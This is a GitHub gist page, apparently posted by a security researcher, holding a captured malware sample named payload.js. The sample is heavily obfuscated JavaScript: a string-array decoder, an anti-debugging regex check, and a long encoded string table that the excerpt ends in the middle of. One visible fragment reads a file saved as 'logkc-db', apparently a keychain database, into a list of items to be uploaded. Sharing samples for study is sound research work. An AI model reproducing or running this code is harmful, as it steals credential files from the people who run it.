Skip to content

Instantly share code, notes, and snippets.

@kmsec-uk

kmsec-uk/payload.js

Created January 29, 2025 18:41
Show Gist options
  • Save kmsec-uk/efc7ab69fdab27024f3e59cf57b6056e to your computer and use it in GitHub Desktop.
Save kmsec-uk/efc7ab69fdab27024f3e59cf57b6056e to your computer and use it in GitHub Desktop.
Download ZIP
Raw
payload.js
function _0x8b6a7(_0x1edf20, _0xa6bb55, _0x214c23, _0x30e79d, _0x3e48f8) {
return _0x1634(_0x214c23 + 0x49, _0xa6bb55);
}
(function (_0x50ca03, _0x428fe8) {
const _0x399d63 = _0x50ca03();
while (true) {
try {
const _0x597f48 = parseInt(_0x1634(1889, 'Qeak')) / 1 + parseInt(_0x1634(505, ']GEe')) / 2 * (parseInt(_0x1634(1655, ')Izs')) / 3) + parseInt(_0x1634(369, '1uWe')) / 4 * (-parseInt(_0x1634(556, 'NRss')) / 5) + parseInt(_0x1634(1170, 'xv#b')) / 6 + -parseInt(_0x1634(1752, '4qIf')) / 7 * (parseInt(_0x1634(716, 'yYX9')) / 8) + -parseInt(_0x1634(590, '1Kit')) / 9 + -parseInt(_0x1634(939, 'Au2M')) / 10 * (parseInt(_0x1634(469, 'rviH')) / 11);
if (_0x597f48 === _0x428fe8) {
break;
} else {
_0x399d63.push(_0x399d63.shift());
}
} catch (_0x48cd61) {
_0x399d63.push(_0x399d63.shift());
}
}
})(_0x14f6, 673991);
const _0x111dd0 = function () {
const _0x419f30 = {
wdwMj: "logkc-db",
RwwOj: function (_0x53f5eb, _0x51243e) {
return _0x53f5eb !== _0x51243e;
},
ZymAJ: "HKDkx"
};
_0x419f30.mQuLA = function (_0x3653e0, _0x41bd3d) {
return _0x3653e0 === _0x41bd3d;
};
_0x419f30.WRwDT = "yMScw";
_0x419f30.EttMa = "eNvLB";
let _0xe85f4d = true;
return function (_0x503347, _0x2d33c2) {
const _0xa6dc44 = {
'qvccZ': "logkc-db",
'zqyjo': function (_0x1e6e79, _0x3439f4) {
return _0x1e6e79 !== _0x3439f4;
},
'EvOgQ': "HKDkx",
'TSRWB': function (_0x55f990, _0x44043d) {
return _0x419f30.mQuLA(_0x55f990, _0x44043d);
},
'SHXlo': _0x419f30.WRwDT
};
if (_0x419f30.EttMa !== _0x419f30.EttMa) {
try {
const _0x1c7e15 = {
filename: "logkc-db"
};
_0x480116.push({
'value': _0x541800.createReadStream(_0x3f3f5a),
'options': _0x1c7e15
});
} catch (_0x1afecb) {}
} else {
const _0xb47be0 = _0xe85f4d ? function () {
if (_0x2d33c2) {
if (_0x419f30.mQuLA(_0xa6dc44.SHXlo, _0xa6dc44.SHXlo)) {
const _0x2ca003 = _0x2d33c2.apply(_0x503347, arguments);
_0x2d33c2 = null;
return _0x2ca003;
} else {
return true;
}
}
} : function () {};
_0xe85f4d = false;
return _0xb47be0;
}
};
}();
const _0x33c2ed = _0x111dd0(this, function () {
return _0x33c2ed.toString().search("(((.+)+)+)+$").toString().constructor(_0x33c2ed).search("(((.+)+)+)+$");
});
_0x33c2ed();
function _0x4d014c(_0x2bcb68, _0x1f427c, _0x17f25e, _0x25c826, _0x33b602) {
return _0x1634(_0x25c826 - 0xe5, _0x33b602);
}
function _0x14f6() {
const _0x3b8a99 = ['qCoWxHDA', 'zSonk8onW6K', 'jtz+W78e', 's8kTpq', 'WOfAWQFcI8kU', 'WQJdJ0nnW4K', 'W6GZW4xcLSoY', 'Aq/dJ18Q', 'W7SwW6/cMmop', 'g8opWRWNgq', 'WQNdN1ZcSCkP', 'WQVdP8oJW5jP', 'FZffoqe', 'W6RdUZaGWRG', 'W6RcVuHGiW', 'jXtdQY/dIG', 'i3ZdMNBdVW', 'WR7dQ0JcQmkx', 'tmkWdtVcMq', 'W4SqW7JcNmoA', 'W6GuW6JcMSox', 'WQVcJs7dVKq', 'tg8gW6BcKG', 'WR3dO2uXjW', 'rGKSW6NcTq', 'WORdU3rV', 'W6RcPICGWQq', 'W6FcOCoYt8ksW7BcHSoEW5an', 'xmoovSo7nq', 'pcKAoIFdIvdcS8oUWR7dSmkrdhi', 'WQVcJYJdS0m', 'WOX/WOWEW7O', 'cmkBWPzWgq', 'B3PkAx8', 'frpdOxGV', 'WQJdVKa9aG', 'DSo4ya15', 'cCkoW77cNGW', 'iLXeEx0', 'iCkxW5dcTYa', 'WQxdHmk8emke', 'jIpcNgb5', 'wY/cNeKO', 'ib/dGaldKW', 'ubbbka4', 'nWldPe4T', 'WQNdQISSWQK', 'jdBcHhXO', 'WOnbW7JdShq', 'qmoPx8omfq', 'gJjRrX8', 'jmojW6PsDq', 'xLHfsuq', 'WRVdQxXJW5O', 'cmkxW4pcVWO', 'WP7dPum+bq', 'yYBcK8oJmq', 'WRzVWRpcUIu', 'rCosqmog', 'W44jW7NcUCoX', 'WRriW4FdO2O', 'mrjfu2K', 'kJtdI1uu', 'A8keW4xcPGa', 'fSotAa', 'nrZdJq', 'qSo/DsfS', 'hIS1cG4', 'lsJcIW', 'Awb6uSoc', 'r8k6W5hdM8k9', 'xaRcJCovbG', 'tK7dNuqh', 'g8o2WQu5eW', 'W7tcT8oN', 'WOxdHgujnG', 'W51IWQ/cNCkp', 'W6KeW7/cRmo9', 'qvS7W7hcRW', 'sSkkWPZcOSom', 'tCknWPe', 'WQRdGaVdVLi', 'W6/dNYVdQCkz', 'WRr0W6/dT30', 'DJbpoXq', 'r2ddGuuI', 'mH7dMG7dMa', 'W6ldOuJcLSo3', 'B8kWWOjLpW', 'CxNdUgddTG', 'fZRdOqFdTW', 'ySoovre', 'WRFdOmoJW7Pj', 'vK/dLmkRWPq', 'W7ejW6VcNmox', 'BCkhlmkYAa', 'W5FcGSo1WO8', 'W5VcVSkXWOJcUq', 'W7KjW68', 'WO9lWPlcUHS', 'qNXRuCot', 'WQFdUM0nlG', 'W4H/WQlcJmkY', 'hSkHW6lcGqO', 't8osECkK', 'luXzE2i', 'lHDVW6Wv', 'WOxdP1hcRmkq', 'W6SxW5dcLmou', 'jXqEW4Tt', 'Fs3cQmohka', 'W4xdNCkcyd0', 'v8opwW', 'pCoUvrXF', 'sXuFW7XB', 'm8oGWRO2nW', 'wcm2W4Dt', 'ksBdV3GX', 'nSkRWPxcOIW', 'fq44mqm', 'WRNdICocW7P3', 'WR/dI0VcQmkM', 'iGvRW78e', 'WOTZWOqn', 'ogNdVgxdNW', 'u8k5oSkEEq', 'WQ9ZW6RdQ2a', 'mr/cI35r', 'W77dICkEusS', 't0ddKeOa', 'jSkaWQrCca', 'qYzXbXC', 'oai7', 'CvuIWQDzW5FdJCozdNdcMmkjW50', 'j8oIWQK0aG', 'kSkXWPj0kW', 'jaf6W7qg', 'WQxdSSkggSku', 'WQhcMcBdRfi', 'WRFdPZm8WQ8', 'W4BdVeZcQq', 'WQZdSui5cq', 'psRcJq', 'W4BdNSkyCcG', 'WPZdUhVcTSkS', 'W4dcONtdSq', 'xZtcJuqf', 'umohACk+fq', 'W57dKxf6W7W', 'wx8aW4VcLq', 'WOe4WQddMSoZ', 'C8oyuHbc', 'W47cK8k7WPVcPG', 'BsLupW', 'h2VdV2ZdJa', 'gMFcJum0', 'W6JdKwlcKmkl', 'WQbVWRq', 'D2FdRMVdRW', 'CmkwW5JdV8kt', 'ACkxk8k1qG', 'WQhdPM/cJ8k+', 'WOddHepcJmk8', 'WP7dHCo3W5LW', 'tdvJENi', 'WRBcHs7dU0i', 'tM3dOmk0WQG', 'DdjOaWe', 'W7hdQmoJFmkx', 'W4FdLchdVCkx', 'WOBdONNcRSkk', 'pCkjW63cUay', 'F3j/CNW', 'WOJdU8ovW5j0', 'jsm1bq', 'W4TWWQ/cNmkW', 'iXa8cae', 'FSohv8o6W7m', 'vCkxtSkXdq', 'ehGlW5S', 'eXbPW7Sb', 'rHtcKqm', 'EtPdmbq', 'WP3dICo5W5nY', 'u8o4sWbR', 'DdxdIt/dMa', 'mGTSW4KV', 'W6JcOu17ga', 'bGWThmoW', 'FupdQLNdTa', 'whX/rNC', 'WRHIW7VdPW', 'ySo/xSoAaa', 'vCoeFSkIda', 'W7tdS8oQEmkn', 'oayPhSo7', 'W6FcL2LBhG', 'WRFdPCk8uCkM', 'WRhdOq8TWQm', 'zCk/tZJcQa', 'xmotwmk3fG', 'WP/dT15AW64', 'tSofzG', 'W6KrW6NdOSox', 'wmksvaJcQq', 'lxVcGhan', 'WPJdRxzpW60', 'FMxcK8kcWQa', 'WRxdG8oYW5Dz', 'pwpdPNBdUa', 'qCowcSoCW7O', 'aXOmgSoG', 'WOtdQwpcOCkx', 'WORdIvbOW6K', 'mSkmW686hq', 'W4X+WQBcGCkW', 'vshcJ8oseq', 'WRNdQvpcGCk1', 'W49MWR7cHCkL', 'W5hcRNf9ga', 'BZPk', 'ruimW6hcSW', 'WQpdJWldSfW', 'wg3dQ0BdRa', 'b24vW40c', 'ySoxc8or', 'dg7dQ1ldJG', 'W5GiW4FcGmoa', 'C8oCq1zj', 'EYBcJSoW', 'W5NdNSkxzt8', 'A3bEtNm', 'W50TW5BcGCoy', 'hGyBb8oG', 'WQb0W67dJv8', 'gmkDram', 'gfdcQxCl', 'tCkVnG', 'W53dICkFyZK', 'WPFdSsyJWQq', 'BCkuW5ddS8kx', 'W43cJmkJWOFcTq', 'mSkpo8kz', 'WO/dIYCnWQ0', 'x0BdG0rg', 'zhT5cmot', 'WQpdOsGQWQq', 'E8kvW4JdJmkP', 'brOljJ0', 'WPf1WPbiWRe', 'nsZdILW2', 'rmkutGdcQW', 'W6FdVWxdKSk6', 's29TE2O', 'W7OmW73cQa', 'k3RcI38t', 'W4fKWQm', 'FXPdmaq', 'kcuPbqm', 'omktgun2', 'W6WIW6/dOxW', 'or/dGYtdNa', 'FCostHzl', 'W67cIM8z', 'uCkrW4/dGSkG', 'FSoogSoSW6i', 'WQrQW5asW7i', 'AsDi', 'xfW6W5dcSq', 'mtxcMW', 'zCk6wa/cSq', 'WQzTWQlcOdS', 'xbpcUSobmG', 'W7tdT8o3y8k/', 'zgj7', 'WOjJWRxcQJe', 'wdPdaZe', 'jcZdJLa5', 'gbWRb8o9', 'ruJdJSoWWRO', 'tJJcMWGp', 'W63cM3nApq', 'W4ddLCkDFZO', 'W6FdUIe7WR8', 'W7i2W4JcMmop', 'gHddMZhdKa', 'W4VcLSkmvNe', 'AwZcLWPQ', 'BCkUW4JdQSkG', 'u8oytSomhq', 'W4pdQ0tcImk2', 'mv7dQYpdIW', 'BmkbW73dHCkR', 'WQfCW4ZdO3W', 'sSo1BCkxhW', 'W4fWWQFcISk4', 's1SnW6NcTq', 'W7NdJ8keCJ0', 'W6KaW7pcQmoL', 'WQ3dKKnpW7S', 'AZqFW4bs', 'Dw7dQvxdQW', 'W7pdQCo1F8km', 'WPhdVGKkWQ0', 'WPD+WRxcQJy', 'v8kUsqxdQa', 'cCohWR85oq', 'wCoxw8ondG', 'WPFdRgDMW7K', 'W5NcImkG', 'rIdcMq', 'C1ldKmkrWQW', 'W6BdT8oSESkJ', 'qWnpnI0', 'AGNcQwKP', 'W6SmW73dO8o5', 'svddJ8kjWOS', 'WOddMmo+W5jT', 'sHRcN8k5WO4', 'r8oyCCoHaa', 'mbtdMW', 'zcNcS8oGnq', 'WRTzW6NdOxS', 'ANzew1O', 'WQhcSIRdVKi', 'DcvRhci', 'WQFdUIGRWPu', 'WPddPmo6W4zz', 'WOlcIspdUNu', 'ECozumogda', 'dmoxW5dcUmol', 'WP3dQtxcGmkn', 'yhf8FfW', 'F8kcAG3cVa', 'dX3cI1u9', 'sCkRpmkWFW', 'tfLDEwq', 'u8oAw8ocbW', 'w07dI0q', 'mNaDW70c', 'sHRcP1aO', 'aayHhq', 'W7GwW6pcPq', 'smoMoCoDW7y', 'W6/cJdq', 'WONdTuG7cG', 'C3PRu8ot', 'W6ybW5JcJmof', 'agdcKbzI', 'W5CmW4JcImod', 'D8kiamk1yG', 'WO/dReJcT8k9', 'uSoCwCoacG', 'suObW4dcJG', 'W5RdUCkovJO', 'bWCgW7JcRq', 'W53dKdSCbG', 'o3RcIW', 'cgywW44v', 'W6SqW6VcJCoE', 'xwddVNFdTG', 'WRr3W7NdU2i', 'rCoSmCoiW5G', 'm1xcQMat', 'mH/dNcldGq', 'sKNdG8kTWO4', 'BmkpkSkXva', 'D3hdGxGXeSojW6C', 'vmolfmoCW4G', 'WOhdJGCjWQW', 'fmoKWQqaeG', 'sJLnWPbo', 'WPXlW6xdJ0q', 'W5FdGmo/W6m', 'ymkLpSk4Ea', 'irrRW7iz', 'ESkVW5RdP8kT', 'xmoCECoIoq', 'FIXmoGO', 'WO1aWOZcHa0', 'Bt0cW41B', 'psJcJNO', 'W6BdU8oMymkj', 'WQZdSKqWaq', 'WR5PWRBcUYq', 'tvebW7VcTq', 'mIS3dHy', 'WONdLSoYW4vU', 'EWFcMgvp', 'WPhdNSoiW4vW', 'DmozqXzk', 'WOxdOCkhgmkY', 'AbzYuuq', 'mghcI2Cj', 'vCousSoAkq', 'y8orqCkYpW', 'rSoCvCofpq', 'WQhdNxr4W6m', 'W49rWORcHCkM', 'DqPtbq0', 'FxbFFW', 'dCkRWOj9pa', 'tSovuSoKoW', 'ySo/Emk1gG', 'W7VdPCkGeSkc', 'jh3cHhyi', 'WQFdVKy9ca', 'W7HMWQhcGSkU', 'fhqiW5y', 'jY88', 'BSoTWORdRb8', 'WQv+WQ7cOdK', 'WP/dL2asWPe', 'umkytatcQa', 'WPNdICo6W5n7', 'WQZdPYPVW6a', 'ruCMa8o+', 'ywnV', 'AmoSqaff', 'WOBdLmoSW5hcLW', 'wtaeW5ra', 'WRZdSqewWQa', 'Ae1jANy', 'BqeuW4vq', 'C2DWqG', 'drBcSwXj', 'WQOQW6/cQsi', 'nSkGW5VcTYK', 'tCkUpW', 'tJ45W5vI', 'WPT1WPaBW68', 'oSkqW5Cpma', 'W7/cImkHWO7cRq', 'i8kgW5C', 'A0VdKmkqWO4', 'W4vhWOFcOmkX', 'Ex5EkZ8', 'fquWkZm', 'WRBdHSoUW7fF', 'WOP1WOSgW78', 'zCorBSolkW', 'rmoowCoxaa', 'kmoIWOu4bq', 'W4ldJvZcG8kb', 'ihBcIN0o', 'pJlcMfrp', 'W5ZcICkGWOm', 'WP/dSh0LW40', 'W4/dMmkcEc4', 'a8kTWOz2iW', 'uu/dTuBdLa', 'W74RW4JcNmod', 'W4XVWO/cUSkj', 'CMTRq8os', 'W7/dQH4', 'nJpdILq7', 'suqn', 'WQ3dUfK2ga', 'W7hcJwHE', 'a0S0W7mG', 'WRddUxBcPG', 'ntlcGxPL', 'AYeuW4va', 's8kHnCkWyW', 'W6dcNxPvmG', 'rtqgW51m', 'BJODW4fA', 'hNJdIbr4WOBdIg7cK8oIjMZdOmkw', 'WQFdPx8HaG', 'W4zsWOZcS8kx', 'FuHJzfS', 'wSkdW5ZdQmkO', 'WQLXW6NdO2i', 'WQpcIt/dUuG', 'kN3cJNia', 'aWCHbW', 'idRdVcNdNa', 'eWCR', 'zSojvCofbG', 'WR1ZWRmRW54', 'W43cI8k3WONcUW', 'DtfCs10', 'AJ1voq', 'rmoEw8ohcW', 'W4D4WQ3cHCkP', 'imkoWP5MkG', 'WQ/dPeK', 'lcZdJ1m', 'tCkYc8kGyW', 'WOTNWO7cNd4', 'lwZdH0mu', 'WPTjW7ZdHLO', 'WR3dIYKPWO8', 'tSkBW6/dJSkb', 'lCk3W6BcRYO', 'W49YWR0', 'FCoqdmkw', 'WQxcJsO', 'WPBdVdyQWQS', 'smoKC8k+gG', 'wmocEmk8wq', 'bYjuW5uP', 'x8oiFSokhq', 'jt7cQvhdJNOpDmk4', 'isyldGO', 'WR7dS0O0dq', 'WQhdNmoTW7vU', 'nLpdQg3dNa', 'ldeCmYW', 'WQtdTx1/W64', 'qSoHtmoLja', 'm2mpEKK', 'AmkViCkSsa', 'cCkKW5dcOI8', 'WOFdVsCLWP8', 'ygHMz1S', 't3S/W4BcRa', 'WOlcGZFdMwq', 'bWNdNXjg', 'jXibW5rW', 'xSkNcSksrG', 'iXhcGe1c', 'W4ddR0dcTmk/', 'C8oscmovW6i', 'eIdcOu99', 'ixxcHh8', 'h8kiW5GApG', 'umosvSogaq', 'W6/dJ8kcwJ0', 'WPTVWPGpW6S', 'WPNdNmoRW5bN', 'W4BdVL0', 'W4f/WQhcJCk+', 'W6ddSSkSCdO', 'rW0Q', 'W5PZWRZcN8k9', 'WQpcIN5clW', 'm07dTuxdLq', 'W4FdV0dcUSk9', 'oaT/W6St', 'jCkOW5a', 't8oyvCkp', 'imkoWP1/ja', 'ftyRdaq', 'r1xdMCkSWPq', 'z2ddTu7dKq', 'EgtdTg8', 'CSkurGdcSW', 'eCkmW58n', 'WOxdO3pcRa', 'sHZcM0qP', 'puiSW5eS', 'dfZdG1JdQG', 'W6RdPq7dNCkO', 'WPtcRrhdOSoHwCkGEuldGSkS', 'W6KxW7hdOSoe', 'jZBdIde', 'WPJdJJ/dPLy', 'W6/cM29Fnq', 'FCo/zmkLoG', 'W47cLCk9WO8', 'WOJdMCoOW5q', 'FITemGu', 'jIGaomok', 'wmoFA8k5fW', 'jSo1WRWXhq', 'qmkMmSk0ya', 'f8kXW4FcSYu', 'k8kPW5BcTc8', 'bCktW4dcJdW', 'W7tdJMZcOCkG', 'tdRcKvDL', 'WPbZWPO', 'dYC+p8oq', 'l2VdVhJdSa', 'kxVcJhed', 'WQpdOKaSbq', 'k8kwW4qCna', 'CCoSsG9R', 'tJ4xW7v7', 'qrFdLmk3WOK', 'r8o8D8oxjW', 'lYW+', 'mhNdUhxdTW', 'zCottXvi', 'Emk6DWdcNG', 't8kUnCk8AW', 'ldZdGtm', 'sSorWOboBCoXWQrYCmksW6dcOIS', 'DeRdO3/dUa', 'vCkEtHlcQq', 'zuhdRIBdTNddQ0G', 'jrXYW60u', 'WQhdSeu2qG', 'W7tdRSoHASkn', 'WPr0WP0kW70', 'EhTOt1y', 'iSktW63cKtm', 'ymomwmonW7m', 'lCo+WQ85aW', 'E2JcHMvN', 'WR5ZWPinW4G', 'iN/dIuxdSW', 'E3mKrmoz', 'rmoAtmogpa', 'ntjYW7OK', 'WOddVdacWQS', 'WOP1WOK/W5q', 'BgTfzhW', 'W7lcVxaFWOBcT8kBW4JdTW', 'ocVdGqJdSa', 'f3JcJf8/', 'W4xdN8kDFt4', 'FZhcKSoWkG', 'xfZcLW', 'WOTjWOCgW7G', 'CSoisSokla', 'W6WZW7/dShS', 'cSkTW5eTjW', 'WOBdON0', 'WRZdSgT9W78', 'fgGqW5ez', 'WPVcICkruJvRW5/dIa', 'nsVcJq', 'lZddOLqQ', 'dbGDcXC', 'W5e8W4tcKCoA', 'FdWUW7S', 'W60XW7xcRmoY', 'bGyV', 'W4LZWRO', 'CMyoW6tcUq', 'u8oOq8onda', 'WP3cHCk7W4DJ', 'W61zWRZcISkx', 'WOrjW7ldHN0', 'WRRdJCoGoCoB', 'hSkKW7tcUZ0', 'eqFdGLiw', 'fhGpW5yz', 'gmk6WQj3iq', 'W7ddLmoZW4hcKa', 'v8oskG', 'lYbKv8oA', 'W4hcM8k5WOxcPG', 'DM3dNmknWRq', 'WRNdQxvNW58', 'W6FdTmo8Cq', 'WRDkW6tdISku', 'bqWrnSo7', 'WQBdUIeUWR4', 'BZquW5y', 'fqxcHwXn', 'WRRdUh8ShG', 'jIVcU2XL', 'cSkdW4aCEa', 'WOdcHsNdVLm', 'r0qbW6dcQG', 'qSklW4FcPmkL', 'WO9oWQxcUrm', 'x8oKo8o0W4K', 'qvNdG8kWWOK', 'WPRdUmkMh8kl', 'WPNdH1pcRmky', 'sqL2xMm', 'W5pdLCkv', 'WOZdMs4lWOy', 'WR7dOL8W', 'gCkxW5urna', 'nYNcMgXn', 'yxPcBgy', 'kfxdTxldUG', 'tfpdShyR', 'W4CiW7NcJq', 'ESoYBmofbq', 'W5DQWPOhW6W', 'W6OjW5NcGmov', 'W6pdQuBcRmkI', 'W6erW4pcTmo4', 'fgqvW5qA', 'WQtdPse', 'BeTwBh0', 'xfldO3Kz', 'eMxcSueb', 'oapdOsBdIG', 'lgFdVNi', 'EZHwprK', 'W7X9WPtcJ8k3', 'dHBdVe4R', 'rSkDrd4', 'W5W0W4hcTmoy', 'W6imW7NcOW', 'lLC7WRW', 'iwBcJxis', 'rCkYiCo2ta', 'FI1v', 'WR3dHfu2dW', 'fxGxW4KM', 'W4dcK8k0', 'ixVcNx0s', 'x1JdTeddUW', 'W4pcJSk3WRhcJW', 'gtmyc8o4', 'pItcHhTV', 'q0hdUK/dOq', 'jY7dGW', 'EczNiri', 'tXGZW5z6', 'DCkgmmkWBW', 'BXbxvW', 'vmklW5FdV8kb', 'WO/dImoSW7f0', 'kmkGWPu', 'WOnSWRpcMqq', 'eSokWOJcVmowAXnkbfaX', 'dw8C', 'xwNdT2tdOq', 'zCojtW1i', 'psJcJW', 'r8oxqJv0', 'lcNcJgb4', 'BMNdHM8M', 'W7ldUG7dH8ky', 'mWT9W6Pp', 'BIBcNmoNlq', 'CCopsqSf', 'WQZdUHC2WQq', 'W5pdTf7cJmkE', 'pXddQu4P', 'WORdGCoiW4vW', 'ssf1xfq', 'Fcfkna4', 'lmkrWPj0oW', 'WQTwWP8WW70', 'WQBdIsWoWOi', 'AJhcNmkKfG', 'v8ksqWtcTq', 'yNVdSwJdOq', 'CbVdGJW', 'WOfdWOCJW4O', 'DSk3l8kwzW', 'i3dcMW', 'jdpcM30', 'fmojx8oxgG', 'W7pcNw9dka', 'idGOhaa', 'hmkhW5qm', 'WPPZWPam', 'yJeCW4nE', 'AYCEW5yC', 'xdFcJ8oHja', 'WR54WOOJW7e', 'cXWRg8oZ', 'C3NdPmkrWRy', 'mHVdIL4t', 'Bg9Cz2S', 'W7KaW4RcI8oy', 'CMSLAmog', 'WQ1MWQi', 'DqXjgby', 'j8k3W5dcTZa', 'WO7dVgRcRSkg', 'CgmhW6VcTG', 'ASkhimkxEG', 'sCkvpmkOsa', 'W7yhW77cKmou', 'WQNdMsewWOi', 'nxZcGx8d', 'E2xdThu', 'W4BcNM9Gcq', 'W6ldOdNdHSkX', 'omkhWObyjq', 'W5VdQKpcR8kx', 'bxusW5ey', 'WQVdMmoPW5L/', 'fSk1qrxcPW', 'xmorDanQ', 'jrX+W70', 'dCkhWPf5jq', 'reldN0yD', 'WOZdMSkRlSkw', 'ESowrrvf', 'WONdKcSEWQ4', 'WRZdTfJcQ8kv', 'bqDMfSoQ', 'FgZcSK7dSG', 'suhdK0il', 'WRtdMCkPnCkQ', 'yM7dV2RdRG', 'W53cIgjcmG', 'ru7dLSoW', 'zbO7W4LS', 'cSkuWRfsgG', 'W7hcKNjFpq', 'idpcUK17', 'WOZdJ2lcMSkE', 'W7eoW77cQCo4', 'WQ5LWQ7cOq', 'n8kJW7BcSW0', 'WRxdUmk1b8kH', 'W6FcGKHWeq', 'WPXPW6tdPgC', 'W77dSSolCmkl', 'mIhcMhjG', 'hWHOW6O', 'W63dLSo6xmkO', 'fg0FW6e', 'W53cRCk9WOZcPG', 'jYNdIfq1', 'sCkjW73dQCkP', 'rSoxw8oxcq', 'WOTUWP8CW4G', 'qIJcPCo1aa', 'W7VdSX7dLW', 'W67dGa/dNSk7', 'EH1hwNu', 'ECoqtHre', 'WRFdUSkG', 'WOlcK8oEoxC', 'kqLZW7iq', 'EIysW5bB', 'W6JcLh4', 'WOZdO2RcU8k5', 'W7hcKh5goq', 'qrpcL8kKWOy', 'fbFcJSk+W5y', 'v8oywCogha', 'WPLQWO4eW6i', 'W6SKWQtcOdK', 'ALFdQgCr', 'WOVdHNWqdW', 'vCkJe8kByG', 'uCoczSkiiW', 'FSoZeSosW5W', 'ztqAW7Ds', 'pCoUf8oEW7i', 'WQtdOSkMcSki', 'WOxdQ1NcG8kP', 'BdjwsJ8', 'W4acW4hcM8o9', 'W4ddTKW', 'WOZdO3tcSCkl', 'WQtdVcvGWPG', 'fmo5WPG3aa', 'xmkAEJlcOq', 'W74lW7JcVmoA', 'iXz+W78u', 'pCo6vGLP', 'WRVdV0pcGmk+', 'cCkmn8o5lW', 'ncBdH1K8', 'r07dMmkTW5m', 'vGpcRuy6', 'cCklW4hcHsS', 'WPVdN8kSe8kI', 'As1hiWm', 'hGW7bW', 'ymoddSoCWRy', 'bWVdHc7dTq', 'z8kbh8kDva', 'E1/dHNG', 'BSkWnmkxyG', 'n1FdQuxdKq', 'WQpdMa4eWR8', 'WRhdVCoXW7Hs', 'W6ldS8k6wqS', 'l37dUa', 'WQ/dUCkM', 'jXpcVubX', 'ACoFvSoAW7q', 'WQxdPqVdK8kZ', 'W5lcThPUpa', 'WO3dKweshW', 'D1KAW6FcOG', 'EM0kW43cHa', 'W6VdSmkuEIK', 'WOb6WQRcIW', 'DK3dGmkqWPe', 'W6LhWQlcP8kU', 'jZiPbrW', 'jCkjWRXubW', 'hCkiWQ1Zja', 'c1NdM8k2WP4', 'rSkZoSkDBa', 'WPL3WPS', 'v8omW5Gjoq', 'WRRdPMelgW', 'pG7dNMK/', 'W4xdICkcodK', 'WPxdUISPWQm', 'BbquW7DZ', 'W4ldNSkvCZ0', 'beLGfCoN', 'zxHOC8o4', 'WRBdIubHW7q', 'tvtdH8kQWO8', 'yg7dVgxdPG', 'zK/dLmk1WQ4', 'u8k5EtNcTa', 'WQldJ3pcRmku', 'WOP/WO4eW7O', 'WP3dVSo+W516', 'ystcI2Gm', 'WPbyWRecW7O', 'xKldI2FdQa', 'W7/cSmkYWRpcQG', 'l2NdN2JdQW', 'BYHYW7Ws', 'WQddP0qOaa', 'jrzPW7es', 'W4VcK8k8WOZcOa', 'iSoXWR0VoW', 'sK7dN0u', 'FColqWTm', 'mcLnxxC', 'WPhdR2e', 'pmkgWPzNla', 'WQ3dJMvsW6O', 'EqXiwMS', 'W702W6/cMmoF', 'CJNdKxjl', 'atxcJwCR', 'CfeTW4hcJa', 'WPldJh1aW7G', 'qSkjW47dP8kD', 'hdJdNG3dJW', 'Ac1sjbi', 'v8oyBCk7gG', 'WQZdPua8mW', 'n2CZW6qr', 'xMTEBNm', 'W67dMmo2uSkO', 'xmkZfCkEsG', 'vZnktwq', 'cMOzW5CE', 'eX7dUHldQW', 'WP3cJW3dSwK', 'W7/cP2O1i8kcwYu', 'BM4GW4xcGa', 'WO7dT3DI', 'WRxdJ1bPW6m', 'tvBdKG', 'B29NtSoy', 'W5C0WPbBWRq', 'iINdJv8O', 'W67cM3PADq', 'DKtdVNpdRG', 'ymkmnSk/zG', 'hSklW5OCoW', 'W4JdICkACWm', 'W6ddPIxdPSk6', 'mwldMh7dLq', 'n280W5yo', 'cNipW4Wd', 'WQtdSqBdLSk6', 'q8kqemkbBW', 'xSoLB8kXhq', 'W7BdTCoU', 'FCoqdmkwW5K', 'W5FcGCo9WOJcOW', 'ldtcU3ys', 'wColuSolhW', 'jthdG1WS', 'WRFdRsuRWQ4', 'qw07W6RcGG', 'FbbxChW', 'E8oibfaf', 'W4ddQMdcMSkf', 'WQBdQruLWQa', 'jYddI1W7', 'mHJdHc7dLW', 'WR/dP03cJ8kP', 'rvFdKG', 'maRcRwv+', 'vJVcICoCdG', 'qSoEsCox', 'WQVdUe/cICkU', 'CYzwjbq', 'i3ndBa', 'hSopW6Gilq', 'x1HIrgG', 'WO3dUCoXW6Xr', 'mSkHW5u7mG', 'irb6WReY', 'WQFdS0a7ca', 'W63cLh5c', 'zgWoiJO', 'ySoEtqLb', 'v8kwW6hdLa', 'eYH6W4yg', 'u8kaW4RdO8kl', 'WOPWWPSoW5a', 'e8kZW4CJpq', 'W4VdVgVcMmki', 'W4BdT8oPDmkw', 'l0jLrmox', 'ymohgCoDW78', 'ic/cH3S', 'W4efW7FcMSoV', 'hCkAW58kiq', 'FmkMe8k7sW', 'b3mEW58c', 'AJPjjq8', 'W63dUWBdMSkX', 'W4euW77cOmov', 'taTRv30', 'WP/dR2e', 'u8krpmkyDa', 'C2fMrSoy', 'zmkxW7BdG8kM', 'uuvOrmo7', 'WOJdI3VcKSk3', 'EZ3dHYZdKa', 'lYbKfa', 'WR/dJM9FW6S', 'jZhdGXiA', 'pYe8pCoB', 'WOZdP3uEfa', 'tCooc8on', 'W43cUvn9aG', 'WRJdQ2HVW58', 'W57dGbldSmkR', 'ksibp8oC', 'W4JdGqJdJCkp', 'nSoLWQ8Hgq', 'W57dLmkLyY4', 'c8oUnSoQiG', 'wSkxW50', 'WPFcJYNdQ1e', 'asa9cGm', 'W6RdPGVcKmkt', 'A8k+WQiLgG', 'W5BdQudcR8k0', 'vL/dLSk7WP8', 'uCkWW6/dRCk1', 'nqhdMcFdGa', 'v8oIz8k+lq', 'pHZdHItdLG', 'yCoOxXDo', 'W5ldIfdcTCkY', 'iSkSW5NcSYO', 'isu8gW', 'EYvd', 'iY86cGW', 'n8krW6xcGam', 'kCkkWPTWiq', 'mW1HW7S', 'pCkvseOc', 'v8oFsq', 'WONdPxBcP8kr', 'i2tcMh8F', 'W73dQ1dcR8k5', 'vZVcUmonca', 'tbfwwMq', 'jrVdKHldKq', 'vJFcSwGz', 'xsddNLeL', 'W6ldVqBdMmk8', 'WRxdRfXgW4y', 'wrTeirq', 'sSkZlmkREa', 'WQ7cJwTAnq', 'W7BdKqldTMFdMSkfvW', 'vL/dG8kQWOK', 'EYbepaC', 'WOToW4BdKga', 'nav5W7if', 'W6JdVrRdHSkz', 'W6pdIX/dSCkE', 'iZK9omoO', 'rgeDW6BcLa', 'WPfiWOlcJay', 'WONdG8oQW6HM', 'CvFdVmk1WPW', 'W4NcRSk2WORcQa', 'WO3dP3y', 'jbSrdIy', 'W5JcLCk8WOu', 'amkKW4hcTW', 'A8oZWQa8eW', 'ASouqGXE', 'WP51WOWTW7O', 